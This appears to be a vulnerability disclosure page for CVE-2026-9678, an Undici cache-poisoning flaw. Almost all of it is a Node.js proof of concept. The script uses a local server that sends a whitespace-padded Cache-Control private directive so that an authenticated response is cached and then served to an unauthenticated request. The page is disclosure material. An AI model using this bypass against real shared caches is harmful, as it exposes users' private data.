CVE-2026-9678 Undici缓存拦截器缓存投毒漏洞

// CVE-2026-9678 PoC - Undici Cache Interceptor Cache Poisoning // This PoC demonstrates how whitespace-padded Cache-Control field names // can bypass Undici's cache control checks const { Client, interceptors } = require('undici'); const http = require('http'); // Step 1: Create a malicious upstream server that returns non-canonical // Cache-Control headers with whitespace-padded field names const maliciousServer = http.createServer((req, res) => { // Simulate a response that should NOT be cached due to Authorization header // But uses whitespace-padded field name to bypass Undici's check res.writeHead(200, { 'Content-Type': 'application/json', 'Cache-Control': 'private=" authorization", max-age=3600', 'Content-Length': '43' }); res.end(JSON.stringify({ user: 'victim', data: 'sensitive_data_here' })); }); maliciousServer.listen(3001, async () => { console.log('Malicious upstream server running on port 3001'); // Step 2: Create Undici client with cache interceptor in shared mode const client = new Client('http://localhost:3001') .compose(interceptors.cache({ shared: true // Enable shared cache mode (required for vulnerability) })); // Step 3: First request - authenticated user fetches their data // This response should NOT be cached due to private="authorization" // But due to CVE-2026-9678, it WILL be cached const authResponse = await client.request({ path: '/api/user-data', headers: { 'Authorization': 'Bearer victim_token_12345' } }); const authData = await authResponse.body.json(); console.log('Authenticated response:', authData); // Step 4: Second request - attacker without authentication // Due to cache poisoning, this will receive the victim's cached data const attackerResponse = await client.request({ path: '/api/user-data' // No Authorization header - attacker is unauthenticated }); const attackerData = await attackerResponse.body.json(); console.log('Attacker response (should be blocked but cached):', attackerData); // If attackerData contains victim's data, the vulnerability is confirmed if (attackerData.user === 'victim') { console.log('[VULNERABLE] Cache poisoning successful! Attacker received victim\'s data'); } client.close(); maliciousServer.close(); }); // Expected behavior (after fix in v7.28.0/v8.5.0): // The response with private=" authorization" should NOT be cached, // so the attacker's request should not receive cached data.